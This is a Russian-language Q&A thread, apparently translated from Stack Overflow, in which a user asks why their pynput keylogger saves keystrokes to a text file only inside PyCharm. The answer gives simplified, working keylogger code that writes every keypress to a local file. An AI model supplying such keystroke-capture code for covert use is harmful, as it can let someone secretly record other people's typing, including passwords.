Запуск Python файлов, частично работающих в командной строке? - PullRequest
1 голос
/ 17 июня 2020

Я пытаюсь запустить программу регистрации ключей в командной строке.

Все функции печати работают нормально, но на самом деле они не сохраняются в моем txt файле.

Что действительно сбивает меня с толку, так это то, что он отлично работает всякий раз, когда я запускаю его в своей среде IDE, Pycharm.

Вот мой код:

 from pynput.keyboard import Key, Listener

 count = 1
 keys = []

def on_press(key):
     global keys, count

if key != "Key.shift pressed":
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

if count >= 1:
    count = 0
    write_file(keys)
    keys = []

 def write_file(keys):
     with open("key_log.txt", "a") as f:
         for key in keys:
             k = str(keys).replace("'", "")
             if k.find("space") > 0:
                 f.write('\n')
             elif k.find("Key") == -1:
                 f.write(k)
 def on_release(key):
     if key==Key.esc:
         return False



 with Listener(on_press=on_press, on_release=on_release) as listener:
     listener.join()

1 Ответ

1 голос
/ 17 июня 2020

Ваша концепция верна, но вам не нужно собирать все нажатия клавиш в список. Кроме того, вы просматриваете свой список и затем обрабатываете его как одну большую строку. Таким образом, вам не нужно ничего из этого делать.

Я рекомендую упростить ваш код примерно так:

from pynput.keyboard import Key, Listener
import sys

def on_press(key):
    print("{0} pressed".format(key))
    write_file(key)

def write_file(key):
    with open("key_log.txt", "a") as f:
        if hasattr(key, "char"):
            f.write('{0}'.format(key.char))
        elif key == Key.enter:
            f.write("\n")
        elif key == Key.space:
            f.write(" ")

with Listener(on_press=on_press, on_release=None) as listener:
    try:
        listener.join()
    except:
        with open("key_log.txt", "a") as f:
            f.write("\n")
        sys.exit()

В моей версии вашего кода вы регистрируете нажата клавиша в консоли python, а затем передайте ее в функцию write_file. Оттуда функция открывает файл key_log.txt и проверяет, нужно ли что-либо записывать в файл. Если это так, символ записывается, а если нет, файл будет закрыт.

Если вы хотите остановить процесс, введите ctrl + C, чтобы вызвать KeyboardInterrupt, чтобы остановить процесс.

...